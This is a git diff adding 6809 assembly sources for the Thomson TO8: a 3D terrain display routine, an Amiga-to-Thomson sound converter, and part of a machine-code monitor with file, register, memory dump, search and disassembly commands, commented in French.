@@ -0,0 +1,204 @@
+IMAGE  EQU    $4014
+SINUS  EQU    $8000
+HIGHST EQU    $9900
+DIR    EQU    $9A
+Z      EQU    $40
+PAS    EQU    1
+
+       ORG    $9C00
+
+G      ORCC   #80
+       LDA    #DIR
+       EXG    A,DP
+       STA    SORTIE+1
+       LDA    #20
+       STA    <Z+6
+       CLR    <Z+4
+       LDY    #IMAGE+40*160
+
+BOUC   LDD    #$380
+       STA    $E7E5
+       STB    $E7DD
+       BSR    FRAME
+       LDD    #$2C0
+       STA    $E7E5
+       STB    $E7DD
+       TST    $E7C8
+       BNE    SORTIE
+       BSR    FRAME
+       TST    $E7C8
+       BEQ    BOUC
+
+SORTIE LDA    #0
+       TFR    A,DP
+       CLR    $E7DD
+       RTS
+
+FRAME  CLRB
+       JSR    $E806
+       CMPB   #48
+       BLO    FRAME
+       CMPB   #57
+       BHI    FRAME
+
+       SUBB   #48
+       BNE    *+3
+       RTS
+       CMPB   #7
+       BLO    D1
+       LEAY   -320*PAS,Y
+D1     CMPB   #3
+       BHI    D2
+       LEAY   320*PAS,Y
+D2     CMPB   #3
+       BLS    D3
+       SUBB   #3
+       CMPB   #3
+       BLS    D3
+       SUBB   #3
+D3     CMPB   #1
+       BNE    D4
+       LEAY   -PAS,Y
+D4     CMPB   #3
+       BNE    AFFICH
+       LEAY   PAS,Y
+
+AFFICH LDU    #$DF40
+       LDD    #0
+       LDX    #0
+       PSHU   D,X
+       FDB    $3616,$3616,$3616,$3616
+       FDB    $3616,$3616,$3616,$3616
+       PSHU   D,X
+       CMPU   #$C000
+       BNE    *-24
+       LDU    #$BF40
+       PSHU   D,X
+       FDB    $3616,$3616,$3616,$3616
+       FDB    $3616,$3616,$3616,$3616
+       PSHU   D,X
+       CMPU   #$A000
+       BNE    *-24
+
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDX    #$C000
+       BSR    MAPPER
+       DEC    $E7C3
+       LDX    #$A000
+
+MAPPER STX    ECRAN+1
+       PSHS   Y
+       LDD    #80
+       STD    <Z
+       STD    <Z+2
+       LDX    #HIGHST
+       LDA    #112
+       STA    ,X+
+       STA    ,X+
+       INCA
+       CMPX   #HIGHST+160
+       BNE    *-8
+       STA    ,X+
+       STA    ,X+
+       DECA
+       CMPX   #HIGHST+320
+       BNE    *-8
+
+CALCUL LDA    <Z+1
+       BPL    *+3
+       NEGA
+       TFR    A,B
+       MUL
+       STD    <Z+8
+       LDA    <Z+3
+       BPL    *+3
+       NEGA
+       TFR    A,B
+       MUL
+       ADDD   <Z+8
+       CMPD   #6400
+       BLO    *+6
+       CLR    <Z+5
+       BRA    *+9
+       LDX    #SINUS
+       LDB    D,X
+       STB    <Z+5
+
+       LDD    <Z
+       ADDD   <Z+2
+       ASRA
+       RORB
+       SUBD   <Z+4
+       ADDD   #112
+       STB    <Z+7
+
+       LDD    <Z+2
+       SUBD   <Z
+       ADDD   #160
+       STD    <Z+8
+
+       LDX    #HIGHST
+       LEAX   D,X
+       LDA    ,X
+       CMPA   <Z+7
+       BLS    KEDALL
+       LDB    <Z+7
+       STB    ,X
+       STA    <Z+5
+BITEST LDA    #128
+       BITA   ,Y
+       BEQ    KEDALL
+       LDD    <Z+8
+       LSRA
+       RORB
+       LSRB
+       LSRB
+ECRAN  LDX    #0
+       ABX
+       LDB    <Z+7
+       LDA    #40
+       MUL
+       LEAX   D,X
+       LDB    <Z+9
+       ANDB   #7
+       LDU    #DECALG
+       LDA    B,U
+       STA    PIXEL+1
+       LDB    <Z+5
+       SUBB   <Z+7
+PIXEL  LDA    #0
+       ORA    ,X
+       STA    ,X
+       LEAX   40,X
+       DECB
+       BNE    PIXEL
+
+KEDALL LSR    BITEST+1
+       BNE    MEMSEG
+       LDA    #128
+       STA    BITEST+1
+       LEAY   1,Y
+       DEC    <Z+6
+       BNE    MEMSEG
+       LDA    #20
+       STA    <Z+6
+       LEAY   -60,Y
+MEMSEG LDX    <Z
+       LEAX   -1,X
+       STX    <Z
+       CMPX   #-80
+       LBNE   CALCUL
+       LDX    #80
+       STX    <Z
+       LDX    <Z+2
+       LEAX   -1,X
+       STX    <Z+2
+       CMPX   #-80
+       LBNE   CALCUL
+       PULS   Y
+       RTS
+
+DECALG FDB    $8040,$2010,$0804,$0201
+       END
diff --git a/code/3rdparty/sources2-hcl/MUSICOMP.ASM b/code/3rdparty/sources2-hcl/MUSICOMP.ASM
new file mode 100644
index 0000000..3cd1769
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/MUSICOMP.ASM
@@ -0,0 +1,63 @@
+****************************************
+*                                      *
+*   Conversion d'un son AMIGA en TO8   *
+*                                      *
+****************************************
+
+       ORG    $7580
+DEBSOU EQU    $7700   }zique AMIGA
+FINSOU EQU    $DF97   }
+DEBOBJ EQU    $7600   résultat THOMSON
+
+G      ORCC   #80
+       LDX    #DEBSOU
+
+EMULE  LDA    ,X
+       ADDA   #128
+       LSRA
+       LSRA              1ère étape:
+       BCC    FINEMU  8 bits  ->  6 bits
+       CMPA   #63
+       BEQ    *+3
+       INCA
+FINEMU STA    ,X+
+       CMPX   #FINSOU
+       BNE    EMULE
+
+       LDX    #DEBSOU
+       LDU    #DEBOBJ
+COMPIL LDA    ,X+
+       ASLA
+       ASLA
+       STA    ,U
+
+       LDA    ,X
+       ANDA   #3
+       ORA    ,U
+       STA    ,U+
+       LDA    ,X+
+       ASLA              2ème étape:
+       ASLA            mise bout à bout
+       ANDA   #240    pour gain de place
+       STA    ,U
+
+       LDA    ,X
+       LSRA
+       LSRA
+       ORA    ,U
+       STA    ,U+
+       LDA    ,X+
+       ANDA   #3
+       STA    ,U
+
+       LDA    ,X+
+       ASLA
+       ASLA
+       ORA    ,U
+       STA    ,U+
+       CMPX   #FINSOU
+       BLO    COMPIL  dernier octet =
+       STU    *+4     fin du son après
+       SWI            la compilation
+
+       END
diff --git a/code/3rdparty/sources2-hcl/OPTIONS.ASM b/code/3rdparty/sources2-hcl/OPTIONS.ASM
new file mode 100644
index 0000000..52bb979
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/OPTIONS.ASM
@@ -0,0 +1,1076 @@
+HNKTXT  * option: Hunks d'un fichier
+       FCC    "HUNKS @"
+       FCB    0
+       FCC    "ILENAME."
+       FCB    0
+       FCC    "IN"
+OPHUNK JSR    FILRQT    nom du fichier
+       JSR    IPIHEX
+EOPHNK JSR    HWINDW  efface curseur etc
+       BEQ    *+6
+       JSR    HUNKS
+       CLRA
+       RTS
+
+LODTXT  * option: lecture d'un prog BIN
+       FCC    "LOADM @"
+       FCB    0
+       FCC    "ILENAME."
+       FCB    0
+       FCC    "IN +SHIFT $"
+       FDB    0,0
+OPLOAD JSR    FILRQT    nom du fichier
+       JSR    IPIHEX
+       BEQ    EOPLOD
+       LEAU   12,Y
+       LDA    #4
+       JSR    DINPUT  valeur du décalage
+       BEQ    EOPLOD    au chargement
+       STU    <LSHIFT
+       CLR    <FILETY
+EOPLOD JSR    HWINDW  efface curseur etc
+       BEQ    *+6
+       JSR    LOADM
+       CLRA
+       RTS
+
+RIDTXT  * option: lecture d'un fichier
+       FCC    "READ @"
+       FCB    0
+       FCC    "ILENAME."
+       FCB    0
+       FCC    "IN>BUFFER $"
+       FDB    0,0
+       FCC    " - $"
+       FDB    0,0
+OPREAD JSR    FILRQT    nom du fichier
+       JSR    IPIHEX
+       BEQ    EOPRID
+       LEAU   12,Y
+       JSR    CLRBAR
+       LDA    #4
+       STA    <FILETY
+       JSR    DINPUT  adresse début du
+       BEQ    EOPRID  buffer
+       STU    <LSHIFT
+       LDA    #4
+       JSR    DIPUT2  adresse fin du
+       BEQ    EOPRID  buffer
+       LDD    #2
+       SUBD   <LSHIFT
+       LEAU   D,U
+       STU    <FILSIZ taille+1 du buffer
+       LDA    #-1
+EOPRID JSR    HWINDW  efface curseur etc
+       BEQ    *+6
+       JSR    LOADM
+       CLRA
+       RTS
+
+WRITXT  * option: écriture d'un fichier
+       FCC    "WRITE @"
+       FCB    0
+       FCC    "ILENAME."
+       FCB    0
+       FCC    "IN ; "
+       FCB    0
+       FCC    "omments>FILE TYPE: "
+       FCB    0
+       FCC    " ; DATA TYPE: "
+       FCB    0
+       FCC    ">FROM $"
+       FDB    0,0
+       FCC    " TO $"
+       FDB    0,0
+       FCC    " EXEC $"
+       FDB    0,0
+OPWRIT JSR    FILRQT  saisie du nom
+       BEQ    *+5
+       JSR    COMRQT  saisie commentaire
+       JSR    IPIHEX
+       BEQ    EOPWRT
+       BSR    CLRBAR
+       LEAU   23,Y
+       LDD    #CHKFTY
+       STD    <INPCHK
+       LDD    #VALFTY
+       STD    <INPVAL
+       LDA    #1
+       JSR    DIPUT3  type du fichier
+       BEQ    WRABOR
+       STB    <FILETY
+       LDD    #CHKDTY
+       STD    <INPCHK
+       LDD    #VALDTY
+       STD    <INPVAL
+       LDA    #1
+       JSR    DIPUT4  type des données
+WRABOR JSR    IPIHEX
+       BEQ    EOPWRT
+       STB    <DATATY
+       BSR    CLRBAR
+       LDA    #4
+       JSR    DIPUT2  adresse de début
+       BEQ    EOPWRT
+       STU    <BEGADR
+       LDA    #4
+       JSR    DIPUT2  adresse de fin
+       BEQ    EOPWRT
+       LDD    <BEGADR
+       TFR    U,D
+       SUBD   <BEGADR
+       ADDD   #1
+       STD    <FILSIZ
+       LDA    #4
+       LDB    <FILETY    ssi c'est un
+       CMPB   #2        programme en LM,
+       BNE    EOPWRT      on lit son
+       JSR    DIPUT2  adresse exécution
+       BEQ    EOPWRT
+       STU    <EXEADR
+
+EOPWRT JSR    HWINDW  efface curseur etc
+       BEQ    *+6
+       JSR    SAVEM
+       CLRA
+       RTS
+
+CLRBAR LDX    #$4000+192*40
+       LDD    #0
+       STD    ,X++    efface la barre de
+       CMPX   #$5F40      commandes
+       BLO    *-5
+       LDX    #SCREEN+4+24*320
+       STX    <CURSOR
+       LDB    #4
+       STB    <XPOS
+       RTS
+
+KILTXT  * option: efface un fichier
+       FCC    "KILL @"
+       FCB    0
+       FCC    "ILENAME."
+       FCB    0
+       FCC    "IN"
+OPKILL JSR    FILRQT
+       JSR    IPIHEX
+       JSR    HWINDW  efface curseur etc
+       BEQ    *+6
+       JSR    KILLM
+       CLRA
+       RTS
+
+FILRQT LEAY   ,U      lit un descripteur
+       LDX    #CHKFIL
+       STX    <INPCHK
+       LDX    #VALASC
+       STX    <INPVAL
+       LDA    #8
+       JSR    INPUT   nom du fichier
+       BEQ    COMRQT-1
+       LDX    #FILNAM
+       LDB    ,U+
+       STB    ,X+
+       DECA
+       BNE    *-5
+       CMPX   #FILNAM+8
+       BHS    *+8
+       LDB    #32     complète le nom
+       STB    ,X+     avec des espaces
+       BRA    *-9
+       LEAU   8,Y
+       LDB    ,U+     affiche "."
+       JSR    PUTC
+       LDA    #3
+       JSR    INPUT   suffixe du fichier
+       BEQ    COMRQT-1
+       LDB    ,U+
+       STB    ,X+
+       DECA
+       BNE    *-5
+       CMPX   #FILNAME+11
+       BHS    *+8
+       LDB    #32     complète suffixe
+       STB    ,X+     avec des espaces
+       BRA    *-9
+       LDA    #-1     code retour = OK
+       RTS
+COMRQT LEAU   12,Y
+       LDA    #3
+       LDB    ,U+     affiche " ; "
+       JSR    PUTC
+       DECA
+       BNE    *-6
+       LDD    #CHKASC
+       STD    <INPCHK
+       LDA    #8
+       JSR    INPUT   commentaire
+       BEQ    COMRQT-1
+       LDB    ,U+
+       STB    ,X+
+       DECA
+       BNE    *-5
+       CMPX   #FILNAME+19
+       BHS    COMRQT-3
+       LDB    #32
+       STB    ,X+
+       BRA    *-9
+
+RGETXT  * option: charge un registre
+       FCC    "LET REGISTER @"
+       FDB    0
+       FCC    " = $"
+       FDB    0,0
+OPRGEQ LDX    #CHKASC
+       STX    <INPCHK
+       LDX    #VALREG
+       STX    <INPVAL
+       LDA    #2
+       JSR    INPUT
+       JSR    IPIHEX
+       BEQ    EOPRGQ
+       LDA    -3,U    longueur
+       NEGA           est-ce D ?
+       BNE    *+6
+       LDA    #2
+       LEAY   3,Y
+       PSHS   Y,A     sauve longueur
+       LDU    #RGETXT+16
+       ASLA           digits=2*longueur
+       JSR    DINPUT
+       PULS   B,Y
+       BEQ    EOPRGQ
+       BITB   #1      registre 16 bits ?
+       BNE    *+6
+       STU    ,Y      nouveaux 16 bits
+       BRA    EOPRGQ
+       TFR    U,D
+       STB    ,Y      nouveaux 8 bits
+EOPRGQ CLRA
+       JMP    HWINDW
+
+       FCB    -2
+LRGEQU FCB    'P,'C,-2,32,'U,-2,32,'Y,-2
+       FCB    32,'X,-1,'D,'P,-1,32,'B,-1
+       FCB    32,'A,-1,'C,'C,-2,32,'S,00
+       FCB    32,'D
+
+REGTXT  * option: affiche les registres
+       FCC    "REGISTERS@"
+       FCC    " PC  A  B   X    Y    U "
+       FCC    "   S    DP  CC  "
+OPREGI CLRA
+       JSR    GETC
+       CMPB   #2
+       LBEQ   HWINDW
+       CMPB   #13
+       BNE    OPREGI+1
+       JSR    HWINDW
+       LDX    #OPREGI-40
+       LDB    ,X+
+       JSR    PUTC
+       CMPX   #OPREGI
+       BLO    *-8
+       LDX    #DA2HEX
+       LDY    #PUTC
+       LDU    #DIR*256+REGIST
+       LDB    #32
+       LDA    ,--U    affiche PC fort
+       JSR    ,X
+       LDA    1,U     affiche PC faible
+       JSR    ,X
+       JSR    ,Y
+       LDA    -9,U    affiche A
+       JSR    ,X
+       JSR    ,Y
+       LDA    -8,U    affiche B
+       JSR    ,X
+       JSR    ,Y
+       LDA    -6,U    affiche X fort
+       JSR    ,X
+       LDA    -5,U    affiche X faible
+       JSR    ,X
+       JSR    ,Y
+       LDA    -4,U    affiche Y fort
+       JSR    ,X
+       LDA    -3,U    affiche Y faible
+       JSR    ,X
+       JSR    ,Y
+       LDA    ,--U    affiche U fort
+       JSR    ,X
+       LDA    1,U     affiche U faible
+       JSR    ,X
+       JSR    ,Y
+       LDA    -10,U   affiche S fort
+       JSR    ,X
+       LDA    -9,U    affiche S faible
+       JSR    ,X
+       JSR    ,Y
+       JSR    ,Y
+       LDA    -5,U    affiche DP
+       JSR    ,X
+       JSR    ,Y
+       JSR    ,Y
+       LDA    -8,U    affiche CC
+       JSR    ,X
+       CLRA
+       JSR    ,Y
+       JMP    ,Y
+
+JSRTXT  * option: exécution en mémoire
+       FCC    "EXECUTE $@"
+       FDB    0,0
+OPGJSR LDA    #4
+       JSR    INPUT
+       BEQ    EOPJSR
+       PSHS   DP,CC
+       STU    <SUBADR
+       STS    <STKBAK
+       LDX    #GETC   FAB-Monitor n'est
+       STX    $600A   pas ré-entrant !!!
+       LDX    BUFCLV
+       STX    $6079
+       LDS    #DIR*256+REGIST-11
+       PULS   A,B,DP,X,Y,U
+       LDS    DIR*256+REGIST-14
+       LEAS   -6,S
+       PSHS   A                 }
+       LDA    DIR*256+REGIST-12 } charge
+       TFR    A,CC              }   CC
+       PULS   A                 }
+       JSR    [DIR*256+SUBADR]
+       PSHS   A                 }
+       TFR    CC,A              } sauve
+       STA    DIR*256+REGIST-12 }  CC
+       PULS   A                 }
+       LEAS   6,S
+       STS    DIR*256+REGIST-14
+       LDS    #DIR*256+REGIST-2
+       PSHS   U,Y,X,DP,B,A
+       LDS    DIR*256+STKBAK
+       LDX    #BUFCLV+2
+       STX    $6079
+       LDX    #MYGETC     restaure
+       STX    $600A   l'indirection GETC
+       PULS   CC,DP
+       CLRA
+EOPJSR JMP    HWINDW
+
+JMPTXT  * option: saut en mémoire-adieu!
+       FCC    "JUMP $@"
+       FDB    0,0
+OPJUMP LDA    #4
+       JSR    INPUT
+       BEQ    EOPJMP   peur de sauter ?
+       STU    REGIST-2   PC=adresse saut
+       LDA    #-1     code retour=EXIT!
+EOPJMP JMP    HWINDW
+
+POKTXT  * option: équivalent du POKE
+       FCC    "POKE $@"
+       FDB    0,0
+       FCC    ",$"
+       FDB    0,0,0,0,0,0,0,0
+OPPOKE LDA    #4
+       LEAY   4,U
+       JSR    INPUT   l'adresse où POKEr
+       BEQ    EOPPOK
+       LDB    ,Y+
+       JSR    PUTC
+       CMPB   #'$
+       BNE    *-7
+       LEAY   ,U      Y pointe la zone
+       LDX    #CHKSOP
+       STX    <INPCHK
+       LDX    #VALSOP
+       STX    <INPVAL  (longueur paire)
+PKIMPR LDD    #$10FF
+       LDU    #OPPOKE-16
+       JSR    INPUT   valeur à y déposer
+       JSR    IPIHEX
+       BEQ    EOPPOK
+       TSTB           chaîne " ?
+       BEQ    *+3
+       LSRA
+POKE   LDB    ,U+
+       STB    ,Y+
+       DECA
+       BNE    POKE
+       LDU    #OPPOKE-22 adresse début
+       TFR    Y,D
+       JSR    ATOHEX
+       TFR    B,A
+       JSR    ATOHEX
+       CLRA
+EOPPOK JMP    HWINDW
+
+BNKTXT  * option: change de bank
+       FCC    "BANK $@"
+       FDB    0
+OPBANK LDA    $E7E5
+       JSR    ATOHEX
+       LDX    #VALBNK
+       STX    <INPVAL
+       LDA    #2
+       LEAU   -2,U
+       JSR    INPUT
+       BEQ    EOPBNK   juste consulté ?
+       TFR    U,D
+       STB    $E7E5   valide bank
+EOPBNK LDX    #VALHEX
+       STX    <INPVAL
+       JMP    HWINDW
+
+LNFEED  * option: saute une ligne
+       FCC    "RETURN@"
+OPFEED JSR    HWINDW
+       LDD    #$2820
+       JSR    PUTC
+       DECA
+       BNE    *-4
+       RTS
+
+RAZWIN  * option: efface la fenêtre
+       FCC    "CLS@"
+OPRAZW JSR    HWINDW
+       LDX    #SCREEN
+       STX    <CURSOR
+       LDA    #24
+       STA    <CMPT
+RAZLIN LDD    #$2820
+       JSR    PUTC
+       DECA
+       BNE    *-4
+       DEC    <CMPT
+       BNE    RAZLIN
+       STX    <CURSOR
+       RTS
+
+QITTXT  * option: quitter le moniteur
+       FCC    "QUIT@"
+OPQUIT CLRA
+QUIT   JSR    GETC
+       CMPB   #2      touche Stop
+       BEQ    QTABRT
+       CMPB   #13     touche Entrée
+       BNE    QUIT
+       DECA           validation Quitter
+QTABRT JMP    HWINDW    code retour=-1
+
+SERTXT  * option: recherche d'une chaîne
+       FCC    "SEARCH $@"
+
+OPSEAR LDX    #CHKSOP
+       STX    <INPCHK
+       LDX    #VALSOP   longueur paire
+       STX    <INPVAL
+       LDD    #$10FF  8 octets=16 digits
+       LDU    #SRWORD+17
+       JSR    INPUT
+       TSTB           chaîne " ?
+       BEQ    *+3
+       LSRA
+       JSR    IPIHEX
+       JSR    HWINDW
+       BEQ    EOPSER
+       LDX    #SRWORD
+       STA    ,X+       longueur chaîne
+       LDB    ,U+
+       STB    ,X+     copie de la chaîne
+       DECA
+       BNE    *-5
+       LDA    $E7E5
+SRSUIV ANDA   #$1F
+       JSR    SEARCH
+       JSR    GETC
+       CMPB   #8      flèche gauche
+       BNE    SR1
+       DECA
+       BRA    SRSUIV
+SR1    CMPB   #9      flèche droite
+       BNE    SR2
+       INCA
+       BRA    SRSUIV
+SR2    CMPB   #13      touche Entrée
+       BNE    ENDSR
+       CLRA
+       JSR    SEARCH
+       BNE    SRSUIV+5
+       INCA
+       CMPA   #$1F
+       BLO    *-8
+       BRA    SRSUIV
+ENDSR  CMPB   #2       touche Stop
+       BNE    SRSUIV+5
+       CLRA           code retour=OK
+EOPSER RTS
+
+DMPTXT  * option: dump de la mémoire
+       FCC    "DUMP $@"
+       FDB    0,0
+OPDUMP LDA    #4
+       JSR    INPUT   lecture correcte ?
+       JSR    HWINDW  fenêtre supérieure
+       BNE    *+3
+       RTS            sort ss rien faire
+       LEAY   ,U
+DPSUIV JSR    DUMP
+       JSR    GETC
+       CMPB   #10     flèche bas
+       BEQ    DPSUIV
+       CMPB   #11     flèche haut
+       BNE    DMP1
+       LEAY   -16,Y
+       BRA    DPSUIV
+DMP1   CMPB   #8      flèche gauche
+       BNE    DMP2
+       LEAY   -9,Y
+       BRA    DPSUIV
+DMP2   CMPB   #9      flèche droite
+       BNE    DMP3
+       LEAY   -7,Y
+       BRA    DPSUIV
+DMP3   CMPB   #13     touche Entrée
+       BNE    DMP4
+DMPAGE LDX    #SCREEN
+       STX    <CURSOR
+       LDA    #23     hauteur d'1 écran
+       STA    <CMPT
+       JSR    DUMP
+       DEC    <CMPT
+       BNE    *-5
+       BRA    DPSUIV
+DMP4   CMPB   #30     touche RetScreen
+       BNE    DMP5
+       LEAY   -48*8,Y
+       BRA    DMPAGE
+DMP5   JSR    FNCKIZ
+       BEQ    DPSUIV
+ENDDMP CMPB   #2      touche Stop = QUIT
+       BNE    DPSUIV+3
+       LDU    #OPDUMP-4 adresse courante
+       TFR    Y,D     du dump devient la
+       JSR    ATOHEX   valeur par défaut
+       TFR    B,A
+       JSR    ATOHEX
+       CLRA           code retour=OK
+       RTS
+
+DESTXT  * option: désassemblage mémoire
+       FCC    "UNASSEMBLE $@"
+       FDB    0,0
+OPDESA LDA    #4
+       JSR    INPUT
+       JSR    HWINDW  fenêtre supérieure
+       BNE    *+3     lecture correcte ?
+       RTS            sort ss rien faire
+       LEAY   ,U
+ASSUIV JSR    DESASS
+       JSR    GETC
+       CMPB   #10     flèche bas
+       BEQ    ASSUIV
+       CMPB   #8      flèche gauche
+       BNE    ASS1
+       LDY    <FIRBYT
+       LEAY   -1,Y
+       BRA    ASSUIV
+ASS1   CMPB   #9      flèche droite
+       BNE    ASS2
+       LDY    <FIRBYT
+       LEAY   1,Y
+       BRA    ASSUIV
+ASS2   CMPB   #13     touche Entrée
+       BNE    ASS3
+       LDX    #SCREEN
+       STX    <CURSOR
+       LDA    #23     hauteur d'1 écran
+       STA    <CMPT
+       JSR    DESASS
+       DEC    <CMPT
+       BNE    *-5
+       BRA    ASSUIV
+ASS3   CMPB   #30     touche "y sauter"
+       BNE    ASS4
+       LDA    <ADRMOD flag "peut sauter"
+       BNE    ASSUIV+3
+       LDY    <OPCODE  ->adresse pointée
+       BRA    ASSUIV
+ASS4   JSR    FNCKIZ
+       BEQ    ASSUIV
+ENDASS CMPB   #2      touche Stop = QUIT
+       BNE    ASSUIV+3
+       LDU    #OPDESA-4 adresse courante
+       TFR    Y,D     du désa devient la
+       JSR    ATOHEX   valeur par défaut
+       TFR    B,A
+       JSR    ATOHEX
+       CLRA           code retour=OK
+       RTS
+
+* A: numéro de la bank à parcourir
+SEARCH STA    $E7E5
+       LDU    #LINE
+       LDD    #$423A  début ligne "B: "
+       STD    ,U++
+       LDB    #32
+       STB    ,U+
+       LDA    $E7E5
+       JSR    ATOHEX  affiche la bank
+       LDA    #27
+       STB    ,U+     ligne vide...
+       DECA
+       BNE    *-3     ...jusqu'à la
+       LDD    #$6000  début de zone
+       PSHS   D
+       JSR    ATOHEX  "6000    "
+       TFR    B,A     ..dernière colonne
+       JSR    ATOHEX
+       LDD    #$2020
+       STD    ,U++
+       STD    ,U
+       JSR    DISLIN   affiche première
+       LDU    <CURSOR  ligne et revient
+       LEAU   -315,U     au milieu de
+       STU    <CURSOR      celle-ci
+       LDA    #5
+       STA    <XPOS
+       LDU    #SRWORD  chaîne à trouver
+       LDB    ,U+     longueur de chaîne
+       PULS   X       retrouve $6000=déb
+SRMEMO LDA    $E7C8   clavier relâché ?
+       BEQ    SRCONT
+       PSHS   B
+       JSR    GETC
+       CMPB   #2      touche STOP
+       BNE    *+6
+       LEAS   1,S
+       BRA    SREND
+       CMPB   #3      touche SHIFT+STOP
+       PULS   B         longueur > 0
+       BEQ    SREND+1
+SRCONT LDA    ,X+
+       CMPA   ,U
+       BEQ    CMPNXT
+SEARET CMPX   #$E000
+       BNE    SRMEMO
+SREND  CLRB           code "pas CNT-C"
+       PSHS   X
+       LDX    <CURSOR fin de recherche
+       LDA    <XPOS
+       LEAX   1,X      on va en bout de
+       INCA                ligne
+       CMPA   #36
+       BNE    *-5
+       STA    <XPOS         et
+       STX    <CURSOR
+       PULS   A         affiche "E000"
+       JSR    DA2HEX
+       PULS   A
+       JSR    DA2HEX
+       LDA    $E7E5
+       TSTB           code CNT-C ou pas
+       RTS
+CMPNXT LEAY   ,X
+       LEAU   1,U
+       DECB           longueur chaîne
+       BEQ    SRFUND
+       LDA    ,X+
+       CMPA   ,U+
+       BEQ    *-8
+       LEAX   ,Y
+       LDU    #SRWORD
+       LDB    ,U+
+       BRA    SEARET
+SRFUND LDA    <XPOS   on a trouvé le mot
+       CMPA   #30       fin de ligne ?
+       BLO    SRDADR
+       PSHS   X
+       LDA    #39
+       STA    <XPOS
+       LDX    <CURSOR   nouvelle ligne
+       LEAX   9,X
+       STX    <CURSOR
+       LDD    #$2920  remplie d'espaces
+       JSR    PUTC
+       DECA
+       BNE    *-4
+       LDX    <CURSOR
+       LEAX   -315,X   on se place au
+       STX    <CURSOR milieu de la ligne
+       LDA    #5
+       STA    <XPOS
+       PULS   X
+SRDADR LDB    #32
+       JSR    PUTC
+       LDU    #SRWORD
+       LDB    ,U      recule le pointeur
+       NEGB             mémoire de la
+       SEX             longueur du mot
+       LEAX   D,X
+       TFR    X,D      et affiche cette
+       JSR    DA2HEX        adresse
+       TFR    B,A
+       JSR    DA2HEX
+       LEAX   ,Y
+       LDB    ,U+
+       JMP    SEARET
+SRWORD FCB    1
+       FCC    "SEARCHED PATTERN"
+       FDB    0,0,0,0,0,0,0,0
+
+* Y: pointe l'octet à DUMPer (DMPBYT)  *
+DUMP   LDU    #LINE
+       LDX    #LINE+30  place de l'ASCII
+       TFR    Y,D
+       JSR    ATOHEX  affiche l'adresse
+       TFR    B,A     du début d'HEXDUMP
+       JSR    ATOHEX
+       LDA    #32
+       STA    ,U+
+       LDB    #8      octets traités
+HXDUMP LDA    ,Y
+       JSR    ATOHEX  valeur en hexa
+       LDA    #32
+       STA    ,U+
+       LDA    ,Y+
+       STA    ,X+     équivalent ASCII
+       DECB
+       BNE    HXDUMP
+       STY    <DMPBYT
+       LDD    #$2020
+       STA    ,U
+       STD    ,X
+       BRA    DISLIN   affiche la ligne
+
+* Y: pointe l'octet à décoder (CURBYT) *
+DESASS STY    <FIRBYT sauve l'adresse du
+       LDU    #LINE   1r oct désassemblé
+       TFR    Y,D
+       JSR    ATOHEX    cette adresse
+       TFR    B,A     figurera en début
+       JSR    ATOHEX      de ligne
+       LDA    #32
+       STA    ,U+
+       JSR    INSTR   décode la commande
+       TSTA
+       BMI    HEXDMP
+       BNE    OPERAN
+       INC    <ADRMOD flag "pas sauter!"
+       BRA    HEXDMP
+
+OPERAN LDB    #32      remplit d'espaces
+       STB    ,U+     jusqu'à l'opérande
+       CMPU   #LINE+11
+       BNE    *-6
+       ANDA   #15
+       LDX    #OPECAS-2
+       JSR    [A,X]
+
+HEXDMP LDB    #32      remplit d'espaces
+       STB    ,U+       jusqu'au hexdump
+       CMPU   #LINE+30
+       BNE    *-6
+       LDX    <FIRBYT   équivalent hexa
+       STY    <CURBYT de tous les octets
+HEXEQU LDA    ,X+      de l'instruction
+       JSR    ATOHEX     désassemblée
+       CMPX   <CURBYT
+       BLO    HEXEQU
+EOLASS CMPU   #LINE+40 remplit d'espaces
+       BHS    DISLIN   de la fin du Dump
+       STB    ,U+      au bout de ligne.
+       BRA    EOLASS   (= 40 caractères)
+DISLIN LDX    #LINE   affiche la ligne
+       LDA    #40
+       LDB    ,X+
+       JSR    PUTC
+       DECA
+       BNE    *-6
+       RTS
+OPECAS FDB    IMMEDI,DIRECT,INDEXE
+       FDB    ETENDU,RELATI,TRANSF,PILES
+
+IMMEDI LDB    #'#
+       STB    ,U+
+       LDA    ,Y+
+       JSR    ATOHEX
+       LDA    <ADRMOD
+       BITA   #16     opérande 8 bits ?
+       BNE    *+3
+       RTS
+       LDA    ,Y+
+       JMP    ATOHEX
+
+DIRECT LDB    #'<
+       STB    ,U+
+       LDA    ,Y+
+       JMP    ATOHEX
+
+ETENDU LDB    #'>
+       STB    ,U+
+       LDA    ,Y+
+       STA    <OPCODE    au cas où l'on
+       JSR    ATOHEX
+       LDA    ,Y+
+       STA    <OPCODE+1 voudrait y aller
+       CLR    <ADRMOD flag "peut sauter"
+       JMP    ATOHEX
+
+IDX8   LDA    #'-           8 bits , R
+       STA    ,U
+       LDD    ,Y++    on saute l'offset
+       EXG    A,B
+       TSTA           déplacement > 0 ?
+       BPL    *+5
+       LEAU   1,U     garde le signe "-"
+       NEGA           et inverse déplac.
+       JSR    ATOHEX
+       TFR    B,A
+       BRA    VIMADP  virgule & registre
+IDX9   LDA    ,Y+          16 bits , R
+       PSHS   A
+       LDD    ,Y++     le déplacement
+       BPL    IDXPOS  est-il positif ?
+       STD    <OPCODE
+       LDA    #'-     non: affiche "-"
+       STA    ,U+
+       LDD    #0      et inverse déplac.
+       SUBD   <OPCODE
+IDXPOS JSR    ATOHEX
+       TFR    B,A
+       JSR    ATOHEX
+       PULS   A
+VIMADP LDB    #',     virgule & registre
+       STB    ,U+
+       BRA    IDXREG
+IDX11  LDA    #'D          D,R
+       STA    ,U+
+       BRA    VIRREG
+INDEXE LDA    ,Y
+       BMI    INDEX2  pas R+4 bits dépl.
+       BITA   #16
+       BEQ    *+7
+       LDB    #'-
+       STB    ,U+
+       NEGA
+       ANDA   #31
+       CMPA   #9
+       BHI    *+8
+       ADDA   #48
+       STA    ,U+
+       BRA    *+5
+       JSR    ATOHEX  écrit déplacament
+VIRREG LDA    #',
+       STA    ,U+
+PCKREG LDA    ,Y+
+IDXREG ANDA   #$60        décode et
+       LSRA            écrit le registre
+       LSRA             servant d'index
+       LSRA
+       LSRA
+       LSRA
+       LDX    #IDXLRG liste de registres
+       LDA    A,X
+       STA    ,U+
+       RTS
+INDEX2 LDB    ,Y
+       BITB   #16
+       BEQ    *+6
+       LDA    #'[
+       STA    ,U+
+       ANDB   #15
+       ASLB
+       LDX    #IDXCAS
+       JSR    [B,X]
+       LDA    LINE+11
